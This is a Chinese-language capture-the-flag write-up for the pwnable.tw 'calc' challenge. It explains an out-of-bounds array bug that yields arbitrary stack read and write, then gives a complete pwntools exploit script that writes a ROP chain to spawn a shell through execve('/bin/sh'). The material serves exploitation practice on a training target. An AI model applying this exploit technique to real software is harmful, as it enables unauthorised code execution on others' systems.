2017-08-06-pwnable.tw-calc
前言
这道题做了超久,大概断断续续四天。准备逆向之前一定要有充足的精力再开始。逆向的时候可以从正向的角度想想,如果要实现这个功能,这个参数的意思是什么。比如idb中的operator参数和array100参数是分别用来存放运算符和数字的。废话不多说,再来分析一下此题。详细的WP可以参考[1]。
思路
利用数组越界漏洞,完成任意读写。
理解其实感觉很绕 多看几遍,本质是*array100不再是2了。
IDA中array100[*array100 - 1] += array100[*array100];
若 1+1
array100[0] = 2 array100[1] = 1 array100[2] = 1
operator[0] = +
then
*array100 = 2
array100[1] = 2
若 +300
array100[0] = 1 array100[1] = 300
operator[0] = +
then
array100[*array100 - 1] += array100[*array100];
*array100 = 1
array100[0] += array100[300]
- 读:"+ offset" 读取 array100 offset处的值。比如ebp距离array100的距离是360*4,那么读取ebp输入+360即可,假设值为raw。
- 写:读之后,若写入的值是value,T=value-raw。T>0,利用"+361+T"写。
否则用"+361+T"写。(T此时为负)若value很大,0xffxxxxxx,可以先将value-0x100000000,两者值相等。
任意读写之后,由于开启了NX,修改返回地址并布置rop即可调用execve('/bin/sh',0,0)getshell。由于源程序中没有/bin/sh,因此可以收工将字符串布置在栈上,读ebp中保存的值来计算偏移。
注
- u32(str),str是一个4byte的字符串。
- system("sh")也可以,但是execve只能执行"/bin/sh"。
Reference
[1] http://www.freebuf.com/articles/others-articles/132283.html
[2] http://dogewatch.github.io/2017/04/10/pwnable.tw-Part1/
exp
from pwn import *
import sys,getopt
import time
args = sys.argv[1:]
context(os='linux', arch='i386')
debug = 1 if '-nd' not in args else 0
proc_name = './calc'
local = 1 if '-r' not in args else 0
isattach = local & 0
bps = isattach & 1
ip = 'chall.pwnable.tw'
port = 10100
io = None
def makeio():
global io
if local:
io = process(proc_name)
else:
io = remote(ip,port)
def ru(data):
return io.recvuntil(data)
def rv():
return io.recv()
def sl(data):
return io.sendline(data)
def sd(data):
return io.send(data)
def rl():
return io.recvline()
def lg(data):
return log.info(data)
#360 ebp addr_360 = ebp-0x20
#361 0x80701d0 :pop edx ; pop ecx ; pop ebx ; ret
#362 0
#363 0
#364 addr of /bin/sh ; should calc its offset
#365 0x0805c34b : pop eax ; ret
#366 11
#367 0x08049a21 : int 0x80
#368 u32('/bin/'')
#369 u32('sh\x00')
rop = [0x80701d0,0,0,0xdeadbeaf,0x0805c34b,11,0x08049a21,u32('/bin'),u32('/sh\x00')]
def get_stack(data):
sl('+' + str(data))
stack = rv()
try:
stack = int(stack.replace('\n',''))
except:
pass
if stack < 0:
stack += 0x100000000
return stack
def write_stack(data,value):
stack = get_stack(data)
lg(str(data)+' stack is' + hex(stack))
offset = value - stack
if offset > 0:
new_stack = get_stack( str(data) + '+' + str(offset))
else:
new_stack = get_stack( str(data) + str(offset))
lg(str(data)+'stack is reset to' + hex(new_stack))
def attach():
if isattach:
if bps:
gdb.attach(pidof(io)[0], open('printbps'))
else:
gdb.attach(pidof(io)[0])
def pwn():
makeio()
if debug:
context.log_level = 'debug'
ru('calculator ===')
get_stack('1')
rv()
ebp = get_stack(360) -0x20
rop[3] = ebp + 0x4*8 - 0x100000000
print ebp
log.info('ebp addr is' + hex(ebp) + '|' + hex(rop[6]))
for i in range(0,len(rop)):
stack_i = i + 361
log.info(stack_i)
write_stack(stack_i,rop[i])
attach()
sl('quit')
io.interactive()
if __name__ == '__main__':
pwn()